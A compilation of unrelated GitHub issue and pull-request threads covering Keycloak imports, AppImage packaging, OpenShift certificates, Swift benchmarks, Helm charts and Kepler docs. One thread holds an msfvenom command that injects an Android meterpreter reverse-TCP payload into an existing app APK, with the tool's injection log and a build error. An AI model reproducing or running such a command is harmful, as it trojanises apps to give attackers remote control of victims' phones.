21:03:21 ... Events == [2016-02-29T21:03:18.174819695Z container create 6607da1f2b310022f9aa9465b7e214686087d53f1988e2614fbbbadcf8fbe62d (image=sha256:d9551b4026f0e2950ddb557cc640871710bf88476ca938b71499305647231b82, io.docker.testing=image, name=high_easley) 2016-02-29T21:03:18.272585767Z container commit 6607da1f2b310022f9aa9465b7e214686087d53f1988e2614fbbbadcf8fbe62d (comment=, image=sha256:d9551b4026f0e2950ddb557cc640871710bf88476ca938b71499305647231b82, io.docker.testing=image, name=high_easley) 2016-02-29T21:03:18.299829424Z container destroy 6607da1f2b310022f9aa9465b7e214686087d53f1988e2614fbbbadcf8fbe62d (image=sha256:d9551b4026f0e2950ddb557cc640871710bf88476ca938b71499305647231b82, io.docker.testing=image, name=high_easley)
 This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information.
 runtime: failed to create new OS thread (13)]

lol, StatsAll has passed twice.

One little change to remove the not-neccessary "close" function on the event handler.

LGTM


Navigate to the Explorer view after unfocusing the resource from the FOCUSED RESOURCES view

OS: Mac
Build Version: 20230518.3
Regression: Not a Regression
Repro Steps:

Click the magnifying glass icon to focus a resource group.
Click the "Unfocus Group" icon in the FOCUSED RESOURCES view.
Check whether navigate to the Azure view.

Expect:
Navigate to the Azure view.
Actual:
Navigate to the Explorer view.
https://github.com/microsoft/vscode-azureresourcegroups/assets/57662131/e3f26a90-7949-4909-9b3e-67af33594a3e
More Info:
This issue doesn't reproduce on the Windows and Linux platforms.

We were able to reproduce this on Windows as well.
Since you had previously split the focus view into a new pane, when the pane was exited it just goes back to the previous pane.  Closing this as by designed.


Import clients with "Authorization Enabled" (fine-grained authorization support)

Is your feature request related to a problem? Please describe.
It is not possible to import realm when some client in it has Authorization Enabled switch "On" (means support for fine-grained authorization support for that client)

Hi
Whats the error?
Do you have an import example?

Error is quite generic. I'll try to prepare some example soon.

Using an example from https://raw.githubusercontent.com/keycloak/keycloak-quickstarts/latest/app-authz-jee-servlet/config/realm-import.json works without an error.

Okay,
while write some test with "Authorization Enabled" clients, I got some errors.

@rpiotrow
I implement some features which coders the fine-grained authorization settings on a client.
The code is on master. You could test it with the docker image adorsys/keycloak-config-cli:master or downloading the artefact from here: https://github.com/adorsys/keycloak-config-cli/actions/runs/183241781

Still getting error using adorsys/keycloak-config-cli:master. Steps to reproduce:

create fresh test realm
create test client (standard flow disabled, type confidential, fine-grained authorization enabled)
export test realm into json file
try to import above file (also attached) into fresh (empty) keyclaok instance

Error:
Cannot create realm 'test': Unrecognized field "clientOfflineSessionIdleTimeout" (class org.keycloak.representations.idm.RealmRepresentation), not marked as ignorable

Keycloak version: jboss/keycloak:10.0.2

Hi,

Cannot create realm 'test': Unrecognized field "clientOfflineSessionIdleTimeout" (class org.keycloak.representations.idm.RealmRepresentation), not marked as ignorable

The master tag is also build with the latest Keycloak version (11.0.0). Older keycloak version are only available as jar files or in releases.
But i can confirm running master (builded with keycloak 10.0.2) runs successfully with your test-realm.
What I do:
git clone https://github.com/adorsys/keycloak-config-cli.git
cd keycloak-config-cli
mvn clean package -Dkeycloak.version=10.0.2
env KEYCLOAK_VERSION=10.0.2 docker-compose up -d keycloak # start a local keycloak on docker
java -jar target/keycloak-config-cli.jar --keycloak.url=http://localhost:8080 --keycloak.password=admin123 --import.path=test-realm.json

Log output:
2020-07-31 12:28:00.987  INFO 93669 --- [           main] d.a.k.config.KeycloakConfigApplication   : Starting KeycloakConfigApplication v2.1.1-SNAPSHOT on joe-nb with PID 93669 (/Users/jkr/Documents/keycloak-config-cli/target/keycloak-config-cli.jar started by jkr in /Users/jkr/Documents/keycloak-config-cli)
2020-07-31 12:28:00.991  INFO 93669 --- [           main] d.a.k.config.KeycloakConfigApplication   : No active profile set, falling back to default profiles: default
2020-07-31 12:28:01.550  INFO 93669 --- [           main] d.a.k.config.KeycloakConfigApplication   : Started KeycloakConfigApplication in 0.988 seconds (JVM running for 1.343)
2020-07-31 12:28:01.831  INFO 93669 --- [           main] d.a.k.c.provider.KeycloakImportProvider  : Importing file '/Users/jkr/Documents/keycloak-config-cli/test-realm.json'
2020-07-31 12:28:06.240  INFO 93669 --- [           main] d.a.k.config.KeycloakConfigRunner        : keycloak-config-cli running in 00:04.429.

On Keycloak I could found a test realm and a test client.

I've tried docker image adorsys/keycloak-config-cli:latest-10.0.2 but that gived me:
2020-07-31 10:56:36.288  INFO 1 --- [           main] d.a.k.config.KeycloakConfigApplication   : Starting KeycloakConfigApplication v2.1.0 on rpiotrow with PID 1 (/opt/keycloak-config-cli.jar started by ? in /)
2020-07-31 10:56:36.304  INFO 1 --- [           main] d.a.k.config.KeycloakConfigApplication   : No active profile set, falling back to default profiles: default
2020-07-31 10:56:38.117  INFO 1 --- [           main] d.a.k.config.KeycloakConfigApplication   : Started KeycloakConfigApplication in 3.776 seconds (JVM running for 4.836)
2020-07-31 10:56:39.271  INFO 1 --- [           main] d.a.k.c.provider.KeycloakImportProvider  : Importing file '/config/test-realm.json'
2020-07-31 10:56:39.705  INFO 1 --- [           main] d.a.k.config.provider.KeycloakProvider   : Wait 120 seconds until http://localhost:9080 is available ...
2020-07-31 10:56:43.238 ERROR 1 --- [           main] d.a.k.config.KeycloakConfigRunner        : Cannot create realm 'test': {"error":"unknown_error"}
2020-07-31 10:56:43.239  INFO 1 --- [           main] d.a.k.config.KeycloakConfigRunner        : keycloak-config-cli running in 00:04.049.

I'll try later to clone, build and run locally (as you do) to compare it.

Sure, because the changes from https://github.com/adorsys/keycloak-config-cli/pull/149 are not released yet and not included into "latest".

This feature is released as 2.2.0 now.


Is this a command line tool?

Usage: /run/firejail/appimage/.appimage-8418/AppRun onnx_model output_filename [table_file] - is this a command line tool? Then it needs Terminal=true in the desktop file. Also it should do something useful when invoked without command line parameters.
Reference:
https://github.com/AppImage/appimage.github.io/pull/1448

Wow! Thanks for your effort on AppImage! It's cool! I will fix it soon.

Just curious, how did you find this repo only several days after I used AppImage?

Could you please clarify what "do something useful when invoked without command line parameters" means? Thanks.

E.g, show a dialog box telling the user what to do. Something on the GUI that tells the user why the application is not working when being double-clicked.

@probonopd Terminal=true has been added in https://github.com/JDAI-CV/DNNLibrary/pull/50.

E.g, show a dialog box telling the user what to do. Something on the GUI that tells the user why the application is not working when being double-clicked.

Does it need a GUI library like Qt or GTK? Is there any easy way to do it? Thanks!

No, if it is a command line tool, then it does not need a GUI. Re-running the test now. Thanks.

Well, please ping me once a new release containing the fix is on GitHub Releases. Maybe you'd like to do continuous builds? Check ouf https://github.com/probonopd/uploadtool for that.

@probonopd Hi :) I have published new version containing this fix https://github.com/JDAI-CV/DNNLibrary/releases

Thank you very much.


[BUG] W: /tmp/brut_util_Jar_100686835942612887834480145388646559215.tmp: 1: ELF: not found

──(root㉿kali)-[/]
└─# msfvenom -x ff.apk -p android/meterpreter/reverse_tcp lhost=<IP_ADDRESS> lport=7538 -o ff1.apk
Using APK template: ff.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package aler.football.tvhd.gdato
[] Loading /tmp/d20231128-32087-yi2l21/original/smali/aler/football/tvhd/master_splachscreen.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20231128-32087-yi2l21/output.apk
[-] I: Using Apktool 2.9.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 2): [/tmp/brut_util_Jar_100686835942612887834480145388646559215.tmp, compile, --dir, /tmp/d20231128-32087-yi2l21/original/res, --legacy, -o, /tmp/d20231128-32087-yi2l21/original/build/resources.zip]
W: /tmp/brut_util_Jar_100686835942612887834480145388646559215.tmp: 1: ELF: not found
W: /tmp/brut_util_Jar_100686835942612887834480145388646559215.tmp: 235: Syntax error: "(" unexpected (expecting ")")
[*] Unable to rebuild apk. Trying rebuild with AAPT2..
[-] I: Using Apktool 2.9.0
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building resources...
brut.androlib.exceptions.AndrolibException: brut.common.BrutException: could not exec (exit code = 2): [/tmp/brut_util_Jar_157266743348640517445421209736354640010.tmp, compile, --dir, /tmp/d20231128-32087-yi2l21/original/res, --legacy, -o, /tmp/d20231128-32087-yi2l21/original/build/resources.zip]
W: /tmp/brut_util_Jar_157266743348640517445421209736354640010.tmp: 1: ELF: not found
W: /tmp/brut_util_Jar_157266743348640517445421209736354640010.tmp: 235: Syntax error: "(" unexpected (expecting ")")
Error: Unable to rebuild apk with apktool
I can't understand what is the error can anyone solve this

Are you running this on Android?
This line

W: /tmp/brut_util_Jar_100686835942612887834480145388646559215.tmp: 1: �ELF: not found
W: /tmp/brut_util_Jar_100686835942612887834480145388646559215.tmp: 235: Syntax error: "(" unexpected (expecting ")")

Suggests you are on some arch incompatible with aapt binaries.


local variable 'save_path' referenced before assignment

@qianying-zd  please strictly follow the demo configs, and add '/' at the end of path or prefix and so on
https://github.com/chenbinghui1/DSL/blob/4c2e6f3c5ffcc18ed874061f054da9779a2f736d/configs/fcos_semi/RLA_r50_caffe_mslonger_tricks_0.Xdata_unlabel_dynamic_lw_nofuse_iterlabel_si-soft_singlestage.py#L129-L131


Create the master certificates skipped if CA from databag

Found this today, my master won't start because of missing certificates
Digging into the code i noticed that oc adm ca create-master-certs is skipped
because ca.crt is already present from chef encrypted data bag
https://github.com/IshentRas/cookbook-openshift3/blob/master/recipes/master_cluster_ca.rb#L44
Recipe: cookbook-openshift3::master_cluster_ca
  * directory[/var/www/html/master_certs/generated_certs] action create
    - create new directory /var/www/html/master_certs/generated_certs
    - change mode from '' to '0755'
    - change owner from '' to 'apache'
    - change group from '' to 'apache'
    - restore selinux security context
  * file[/var/www/html/master_certs/generated_certs/ca.key] action create_if_missing
    - create new file /var/www/html/master_certs/generated_certs/ca.key
    - update content in file /var/www/html/master_certs/generated_certs/ca.key from none to 8498b4
    - change mode from '' to '0600'
    - restore selinux security context
  * file[/var/www/html/master_certs/generated_certs/ca.crt] action create_if_missing
    - create new file /var/www/html/master_certs/generated_certs/ca.crt
    - update content in file /var/www/html/master_certs/generated_certs/ca.crt from none to 3d9bc8
    - change mode from '' to '0644'
    - restore selinux security context
  * file[/var/www/html/master_certs/generated_certs/ca.serial.txt] action create_if_missing
    - create new file /var/www/html/master_certs/generated_certs/ca.serial.txt
    - change mode from '' to '0644'
    - restore selinux security context
  * file[Initialise Master CA Serial] action create
    - update content in file /var/www/html/master_certs/generated_certs/ca.serial.txt from e3b0c4 to f15343
    - restore selinux security context
  * file[Initialise Master CA Serial] action nothing (skipped due to action :nothing)
  * execute[Create the master certificates for ip-10-239-122-113.ec2.internal] action run (up to date)
  * execute[Create temp directory for loopback master client config] action run

ll /var/www/html/master_certs/generated_certs/
-rw-r--r--. 1 root root 1411 May 28 13:46 ca.crt
-rw-------. 1 root root 1679 May 28 13:46 ca.key
-rw-r--r--. 1 root root    2 May 28 13:46 ca.serial.txt
-rw-r--r--. 1 root root 1330 May 28 13:46 openshift-master.crt
-rw-r--r--. 1 root root 1679 May 28 13:46 openshift-master.key
-rw-r--r--. 1 root root 6557 May 28 13:46 openshift-master.kubeconfig

fixed it by changing https://github.com/IshentRas/cookbook-openshift3/blob/master/recipes/master_cluster_ca.rb#L55 from
creates "#{node['cookbook-openshift3']['master_certs_generated_certs_dir']}/ca.crt"

to
creates "#{node['cookbook-openshift3']['master_certs_generated_certs_dir']}/serviceaccounts.private.key"

fixed broken etcd cluster (my fault) after v3 migration and now running v3.6

@tpolekhin Thanks very much for reporting.

#248


Sketching a minimal approach to zip_with

foo.iter().zip_eq(bar.iter()).for_each(|(a, b)| f(a, b)); becomes let _ = zip_with!((foo.iter(), bar.iter()), |a, b| f(a, b));
foo.iter().zip_eq(bar.iter()).flat_map(|(a, b)| f(a, b)) becomes zip_with!((foo.iter(), bar.iter()), |a, b| f(a, b)).flatten()

There's precisely two kinds of occurrences of the zip_eq pattern left in the relevant portions of this PR after this:

foo.iter().zip_eq(bar.iter()).map(|(mut a, b)| f(a, b))
foo.iter().zip_eq(bar.iter()).try_fold(|(a, b)| f(a, b))

It looks like #158 had @mpenciak 's favor. Closing to clarify.


Revert back to old blueprint loading temporarily to resolve user crashes

Interesting. I suspect that this line
if (blueprints == null) BlueprintBrowser.GetBlueprints();
sometimes returns null. That caused crashes for me too until I just changed it to
BlueprintBrowser.GetBlueprints(); if (BlueprintBrowser.blueprints == null) return;
OnGUI will be called again, so it's okay to not render it immediately.


Updated jQuery dependency in 3.0.0 breaks older templates

Hi there,
first of all thank you so much for creating OmniMarkupPreviewer. It has made working with markdown syntax a breeze for me.
After the recent update I noticed that my browser previews wouldn't update any more. Looking through the browser console I found error messages pertaining to missing jquery libraries. As it turns out, my customized templates were still pointing to outdated javascript files that were replaced with the recent update:
<script type="text/javascript" src="/public/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="/public/imagesloaded.pkgd.min.js"></script>
<script type="text/javascript" src="/public/app.js"></script>

I don't know if there's any automated way to update these references whenever the libraries are replaced, but if there isn't I think it would make sense to at least include a small notice about this in the package control update messages.
Thanks for reading this!

Thanks, in later version I'll try to versioning resource files, and keep those files for a decent time (or maybe I can copy those files to user folder if they don't exist?)
I feel sorry for the inconvenience.


Will this be helpful for people reading the paper ?

I was reading your paper. And was interested in seeing what the test data looks like.
But you have given it in .jsonl format which is okay if you are doing a careful analysis of the test data.
But for quick readers parsing the test data requires willingness and they might not want to do it.
So I parsed the data.jsonl into Human Readable Prompt and Canoncial Sections : https://gist.github.com/jalotra/f4d119e8108fcd44b932103d73140381.
Will this add value to this repo if we can add this for a quick read ?

I agree, two or three example datapoints in the README for this repo would be really helpful.

Great sharing!


Fix incompatibility with ActiveSupport::Dependencies

This fixes an issue with newer versions of ActiveSupport: resourceful/maker adds a parents class methods – something that AS::Dependencies uses for its autoloading spiel.
It's only an issue in autoload-environments (ie. development).
Sorry, no tests – the existing test suite is broken.

I think the build broke due to a network split or something? Can anyone trigger a rebuild?

@carpodaster merged this in with a different PR! Sorry for the "slow response" :)


[benchmark] Add another test to floating point conversion benchmark

This PR adds a benchmark to test the performance of the default implementation of BinaryFloatingPoint.init<T>(exactly:) where T: BinaryFloatingPoint.
It is a companion to #33910 and will need to be landed separately in order to demonstrate that the other PR produces the expected performance improvement.

@swift-ci benchmark

@swift-ci test Linux platform

@swift-ci test macOS platform

@swift-ci benchmark

@swift-ci test Linux platform

@swift-ci test macOS platform

@swift-ci benchmark

@swift-ci test Linux platform

@swift-ci test macOS platform

Performance: -O

Regression
OLD
NEW
DELTA
RATIO

Set.subtracting.Seq.Empty.Box
201
217
+8.0%
0.93x (?)

DictionaryKeysContainsNative
26
28
+7.7%
0.93x (?)

Improvement
OLD
NEW
DELTA
RATIO

FlattenListFlatMap
4294
3884
-9.5%
1.11x (?)

Added
MIN
MAX
MEAN
MAX_RSS

ConvertFloatingPoint.MockFloat64Exactly
4271
4584
4377
—

ConvertFloatingPoint.MockFloat64Exactly.bis
5805
5909
5842
—

Code size: -O

Regression
OLD
NEW
DELTA
RATIO

FloatingPointConversion.o
27007
41265
+52.8%
0.65x

Performance: -Osize

Regression
OLD
NEW
DELTA
RATIO

NopDeinit
15800
17300
+9.5%
0.91x (?)

DictionaryKeysContainsCocoa
33
36
+9.1%
0.92x (?)

Improvement
OLD
NEW
DELTA
RATIO

FlattenListFlatMap
6636
3940
-40.6%
1.68x (?)

StringFromLongWholeSubstring
5
4
-20.0%
1.25x

CharacterLiteralsLarge
111
100
-9.9%
1.11x

Added
MIN
MAX
MEAN
MAX_RSS

ConvertFloatingPoint.MockFloat64Exactly
4041
4188
4101
—

ConvertFloatingPoint.MockFloat64Exactly.bis
5698
5894
5765
—

Code size: -Osize

Regression
OLD
NEW
DELTA
RATIO

FloatingPointConversion.o
25738
39406
+53.1%
0.65x

Performance: -Onone

Added
MIN
MAX
MEAN
MAX_RSS

ConvertFloatingPoint.MockFloat64Exactly
4506
4924
4646
—

ConvertFloatingPoint.MockFloat64Exactly.bis
10566
10749
10683
—

Code size: -swiftlibs

✅
Benchmark Check Report

⛔🔤
ConvertFloatingPoint.MockFloat64Exactly.bis name is 43 characters long.  Benchmark name should not be longer than 40 characters.

⚠⏱
ConvertFloatingPoint.MockFloat64Exactly.bis execution took at least 5561 μs.  Decrease the workload of ConvertFloatingPoint.MockFloat64Exactly.bis by a factor of 8 (10), to be less than 1000 μs.

⚠⏱
ConvertFloatingPoint.MockFloat64Exactly execution took at least 4014 μs.  Decrease the workload of ConvertFloatingPoint.MockFloat64Exactly by a factor of 8 (10), to be less than 1000 μs.

How to read the data
The tables contain differences in performance which are larger than 8% and
differences in code size which are larger than 1%.
If you see any unexpected regressions, you should consider fixing the
regressions before you merge the PR.
Noise: Sometimes the performance results (not code size!) contain false
alarms. Unexpected regressions which are marked with '(?)' are probably noise.
If you see regressions which you cannot explain you can try to run the
benchmarks again. If regressions still show up, please consult with the
performance team (@eeckstein).

Hardware Overview
  Model Name: Mac Pro
  Model Identifier: MacPro6,1
  Processor Name: 12-Core Intel Xeon E5
  Processor Speed: 2.7 GHz
  Number of Processors: 1
  Total Number of Cores: 12
  L2 Cache (per Core): 256 KB
  L3 Cache: 30 MB
  Memory: 64 GB

@swift-ci benchmark

@swift-ci test Linux platform

@swift-ci test macOS platform

@swift-ci benchmark

@swift-ci test Linux platform

Build failed
Swift Test OS X Platform
Git Sha - 26f3c81e44d9cb53abdf51ed2f6a637bae5a3a77

Performance: -O

Improvement
OLD
NEW
DELTA
RATIO

Dictionary4
196
150
-23.5%
1.31x

Dictionary4OfObjects
229
184
-19.7%
1.24x

ArrayAppendUTF16Substring
33552
30816
-8.2%
1.09x (?)

ArrayAppendAsciiSubstring
33552
30816
-8.2%
1.09x (?)

ArrayAppendLatin1Substring
34236
31464
-8.1%
1.09x (?)

Added
MIN
MAX
MEAN
MAX_RSS

ConvertFloatingPoint.MockFloat64Exactly
701
701
701
—

ConvertFloatingPoint.MockFloat64Exactly2
1047
1067
1054
—

Code size: -O

Regression
OLD
NEW
DELTA
RATIO

FloatingPointConversion.o
27007
41265
+52.8%
0.65x

Performance: -Osize

Regression
OLD
NEW
DELTA
RATIO

Dictionary4
155
290
+87.1%
0.53x

Dictionary4OfObjects
229
348
+52.0%
0.66x

ConvertFloatingPoint.MockFloat64ToDouble
14
16
+14.3%
0.88x (?)

NopDeinit
9900
11000
+11.1%
0.90x (?)

Improvement
OLD
NEW
DELTA
RATIO

ArrayLiteral2
113
102
-9.7%
1.11x (?)

CharacterLiteralsSmall
226
211
-6.6%
1.07x (?)

Added
MIN
MAX
MEAN
MAX_RSS

ConvertFloatingPoint.MockFloat64Exactly
694
694
694
—

ConvertFloatingPoint.MockFloat64Exactly2
1044
1044
1044
—

Code size: -Osize

Regression
OLD
NEW
DELTA
RATIO

FloatingPointConversion.o
25738
39406
+53.1%
0.65x

Performance: -Onone

Added
MIN
MAX
MEAN
MAX_RSS

ConvertFloatingPoint.MockFloat64Exactly
790
832
807
—

ConvertFloatingPoint.MockFloat64Exactly2
1640
1736
1672
—

Code size: -swiftlibs

✅
Benchmark Check Report

⚠⏱
ConvertFloatingPoint.MockFloat64Exactly2 execution took at least 1006 μs.  Decrease the workload of ConvertFloatingPoint.MockFloat64Exactly2 by a factor of 2 (10), to be less than 1000 μs.

How to read the data
The tables contain differences in performance which are larger than 8% and
differences in code size which are larger than 1%.
If you see any unexpected regressions, you should consider fixing the
regressions before you merge the PR.
Noise: Sometimes the performance results (not code size!) contain false
alarms. Unexpected regressions which are marked with '(?)' are probably noise.
If you see regressions which you cannot explain you can try to run the
benchmarks again. If regressions still show up, please consult with the
performance team (@eeckstein).

Hardware Overview
  Model Name: Mac mini
  Model Identifier: Macmini8,1
  Processor Name: 6-Core Intel Core i7
  Processor Speed: 3.2 GHz
  Number of Processors: 1
  Total Number of Cores: 6
  L2 Cache (per Core): 256 KB
  L3 Cache: 12 MB
  Memory: 64 GB


[chip-tool] Use chip::EndpointId instead of uint8_t and relax the restriction from old ZCL endpoint constraints

Problem
chip-tool does not accepts enpoints bigger than 0xFE as argument. This comes from old ZCL constraints.
Change overview

Update code to use chip::EndpointId instead of uint8_t (chip::EndpointId beeing an uint16_t...)
Remove the old ZCL constraints so one can send a message to all endpoints (wildcard)

Testing
I checked it by running: ./out/debug/standalone/chip-tool onoff read on-time 0x12345 0xffff which gets the on-time values from  all endpoints.

/rebase


Implements Microsoft.Extensions.Logger

Removes the YesSql.Logger types.
Added UseLogger() Configuration extension.
Replaced LogSql() with LogTrace()
Also updated some dependencies.

#95

LGTM
Thanks a lot. IF it's ready let me know and I'll merge it when the tests have passed.

It should be working fine.  I haven't tested it with AppInsights yet.  That's my primary use-case, so I should probably make sure it's actually working there before merging.  I'll let you know once I've done some more tests.

@sebastienros Yup.  Confirmed it's working nicely.

A thought I just had is to add the ability to configure which log level SQL statements will be sent at.  I hardcoded it to Trace level.  But it would be easy enough to put the LogSql() method back, and have it send to Trace/Debug/Info/Any level based on configuration.
I'll can add that later if needed.  Just wanted to make a note of it here.

I think it's good, we just need to configure these namespaces for TRACE if necessary


could you add more forex pair?

such as XAU/USD,XAG/USD in FXCM

Unfortunately, those pairs are unavailable due to a limitation on TradingView's API. I have no control over this and there's no workaround yet. In order for the tradingview-ta library to retrieve information about a pair, it needs to have the technicals tab on TradingView's website:
Compare XAUUSD:

to other pairs:

P.S. XAU/USD and XAG/USD are categorized by TradingView as CFD, not forex.


Provokes don't work after somebody reconnects

I have had very inconsistent "tank callouts" lately.  I added a check that somebody was in your party before making this callout, but I think there is something fragile going on with that.  I think when somebody disconnects and logs back in, then things get broken.  Just writing this down so it can be investigated further, or in case anybody else is seeing this.

This is solved via https://github.com/ngld/OverlayPlugin/pull/137


CopyKAT -  got an unexpected keyword argument 'norm_cell_names'

Hi,
thanks for the nice work!
I am trying to use the copyKAT function with the parameter  'norm_cell_names'.
I receive the error message: "got an unexpected keyword argument 'norm_cell_names'" (see screenshot).
Anyone might have experienced the same problem?

Are you sure you have the latest version of infercnvpy? The norm_cell_name was added only in the latest v0.3 release a few days ago.
Also, it should probably be a list of cells, rather than a single identifier.

Thank you! Missed that :) Great this feature was added.
Solved the problem.


Cannot change year part of POWERLEVEL9K_TIME_FORMAT

Hello, I've been configuring PowerLevel9K and I'm just about happy with the way it looks, except for the fact that I cannot work out how to change the year display to 4 digits, eg. 2017.
I've tried changing "%D{%H:%M:%S %d.%m.%y}" to "%D{%H:%M:%S %d.%m.%yy}" and "%D{%H:%M:%S %d.%m.%yyyy}" but all I get is more y's displayed than I know what to do with!
How do I get a 4 digit year? Thanks in advance.

Hi carlca
You'll want to use "%Y" for a 4 digit year instead of "%y" - You can see all the formatting options on the date man page - https://linux.die.net/man/1/date

That works perfectly, thanks very much! Just one other question, while I'm here, that you or someone else may be able to answer: Just to the left of the Time/Date block is a left facing arrow which appears to be connected to the Time/Date block. What is it for, and, if I so choose, can I remove it? Thanks!

@carlca - So glad your problem is solved, and thanks to @rjorgenson for providing support!
@carlca - I'm not sure I understand your new question, actually, as I haven't seen anything like that before. Would you mind filing a new bug and including a screenshot to show us what you are seeing? We'll need to know what font you are using, as well.


[stable/rabbitmq] feature request: automatic configuration for schedulers threads using resources requests

Is this a request for help?:

Is this a BUG REPORT or FEATURE REQUEST? (choose one): feature request
Which chart:
stable/rabbitmq
What happened:
Since #13044 the schedulers threads are configurable from the chart values, with hardcoded default values.
The default value could be derived from the actual resources.requests.cpu (cf https://github.com/helm/charts/issues/3855#issuecomment-482161801).
Prior to #13044 the default values were computed by rabbitmq: derived from the actual core count; thus #13044 could introduce performance regression with default values.

Hi @thomas-riccardi
As it was mentioned at #3855 there are two ways to automatically configure the scheduler threads:

Helm templating

It's not trivial at all since it'll require to perform some parameters transformations to do the calculations. E.g. resource.requests.cpu can be 100m, so it's necessary to transform that into a float.

Using the Downward API

I'd rather use the second approach for simplicity. What do you think @thomas-riccardi @tompizmor ?

Hi @juan141
I'm not sure either.
pros:

more flexibility in bash
cons:
less code in the already large shell command may be better
for resource.requests.cpu the only non number case is the milli m suffix: it could probably be handled in helm template (a possible rule is resource.requests.cpu <= 1 => 1 core)

However, a followup issue would raise the same questions for resource.limits.memory (to properly auto-configure the memory alarm), and there the variety of units is much bigger.
=> maybe it's better to do it in bash (and maybe it should be moved to the bitnami image? (Since #4591 the bitnami init script is half bypassed, leading to all kinds of problems, but this is another issue...))

bump to remove the lifecycle/stale label.

Hi @thomas-riccardi
Good news! We already moved the RabbitMQ so it's based on Bash scripts. See:
https://github.com/bitnami/bitnami-docker-rabbitmq/tree/master/3.7/debian-9/rootfs
Now we need to decide wether we want to replace the current command and we use the logic available in the Bash container or not. As I mentioned on a previous comment, there'll be user that'll complain for this change since they're not using the Bitnami image.
As an alternative, we could create a parameter in the template to decide whether to use a custom command or not (relying on the container init scripts).


Kepler in Kind - Wrong OPTS for building manifest

Which document would you like to address?
There is mistake in the documentation explaining how to install kepler locally in a Kind cluster
https://sustainable-computing.io/installation/kepler/#running-kepler-on-a-local-kind-cluster
This documentation is rendered from :
https://github.com/sustainable-computing-io/kepler-doc/blob/main/docs/installation/kepler.md
What is the issue?
In the documentation, it is said that we have to build the Kepler manifest using :
OPTS="CI_DEPLOY PROMETHEUS_DEPLOY".
Though, using this option in the procedure does not work (cf. issue #919 ) because the volume /proc-host is not mounted correctly. I know that the issue #919 is about EKS but this happens also with Kind
These are the error messages from the event logs I get on the pods:

MountVolume.SetUp failed for volume "proc" : hostPath type check failed: /proc-host is not a directory
Unable to attach or mount volumes: unmounted volumes=[proc], unattached volumes=[], failed to process volumes=[]: timed out waiting for the condition
MountVolume.SetUp failed for volume "cfm" : failed to sync configmap cache: timed out waiting for the condition
MountVolume.SetUp failed for volume "redfish" : failed to sync secret cache: timed out waiting for the condition

As it is said in the resolution of issue #919, removing "CI_DEPLOY" from OPTS and leaving only "PROMETHEUS_DEPLOY" makes all work perfectly.
Indeed, when I started using Kepler in its release 0.5, I only used "PROMETHEUS_DEPLOY" to build the manifests and it worked really fine but when I read again the doc for the latest release I thought that "CI_DEPLOY" would add a new feature or evolution.
How do you suggest this is fixed?
Could you, please, modify the line
To deploy on a local kind cluster, you need to use the CI_DEPLOY and PROMETHEUS_DEPLOY flags.
to
To deploy on a local kind cluster, you need to use the PROMETHEUS_DEPLOY flag.
and the script line:
make build-manifest OPTS="CI_DEPLOY PROMETHEUS_DEPLOY"
to
make build-manifest OPTS="PROMETHEUS_DEPLOY" ?
I do not know if I have to submit instead an issue to the repo where the documentation is rendered from :
https://github.com/sustainable-computing-io/kepler-doc/blob/main/docs/installation/kepler.md
If you prefer, I can fork the documentation repository and propose a pull request with this small change.
Best regards,
Juan GASCON

@vprashar2929 @SamYuan1990

Which document would you like to address?
There is mistake in the documentation explaining how to install kepler locally in a Kind cluster https://sustainable-computing.io/installation/kepler/#running-kepler-on-a-local-kind-cluster This documentation is rendered from : https://github.com/sustainable-computing-io/kepler-doc/blob/main/docs/installation/kepler.md
What is the issue?
In the documentation, it is said that we have to build the Kepler manifest using : OPTS="CI_DEPLOY PROMETHEUS_DEPLOY".
Though, using this option in the procedure does not work (cf. issue #919 ) because the volume /proc-host is not mounted correctly. I know that the issue #919 is about EKS but this happens also with Kind
These are the error messages from the event logs I get on the pods:

MountVolume.SetUp failed for volume "proc" : hostPath type check failed: /proc-host is not a directory
Unable to attach or mount volumes: unmounted volumes=[proc], unattached volumes=[], failed to process volumes=[]: timed out waiting for the condition
MountVolume.SetUp failed for volume "cfm" : failed to sync configmap cache: timed out waiting for the condition
MountVolume.SetUp failed for volume "redfish" : failed to sync secret cache: timed out waiting for the condition

As it is said in the resolution of issue #919, removing "CI_DEPLOY" from OPTS and leaving only "PROMETHEUS_DEPLOY" makes all work perfectly. Indeed, when I started using Kepler in its release 0.5, I only used "PROMETHEUS_DEPLOY" to build the manifests and it worked really fine but when I read again the doc for the latest release I thought that "CI_DEPLOY" would add a new feature or evolution.
How do you suggest this is fixed?
Could you, please, modify the line To deploy on a local kind cluster, you need to use the CI_DEPLOY and PROMETHEUS_DEPLOY flags. to To deploy on a local kind cluster, you need to use the PROMETHEUS_DEPLOY flag.
and the script line: make build-manifest OPTS="CI_DEPLOY PROMETHEUS_DEPLOY" to make build-manifest OPTS="PROMETHEUS_DEPLOY" ?
I do not know if I have to submit instead an issue to the repo where the documentation is rendered from : https://github.com/sustainable-computing-io/kepler-doc/blob/main/docs/installation/kepler.md
If you prefer, I can fork the documentation repository and propose a pull request with this small change.
Best regards, Juan GASCON

thanks, @juangascon
I am in sick recently, as you said if it's a small document change. Could you please create a PR for that?
+@sunya-ch , I saw you commented in #919 , could you please help review?

If you prefer, I can fork the documentation repository and propose a pull request with this small change.

@juangascon please open a doc PR for this, I used to create issue here and propose PR there , someone should merge this
thanks for the finding and report

Sorry. I forgot to follow my issue.
@jichenjc I am opening the PR in the doc repo as soon as I end another subject.

@SamYuan1990
Thanks for doing the pull request on my behalf. I had some personal issues to manage and could not propose the pull request.
Though, I see in the commit that we are only changing the 'code' block but not the line number 28 explaining the code.
We should also modify it from
To deploy on a local kind cluster, you need to use the CI_DEPLOY and PROMETHEUS_DEPLOY flags.
to
To deploy on a local kind cluster, you need to use the PROMETHEUS_DEPLOY flag.
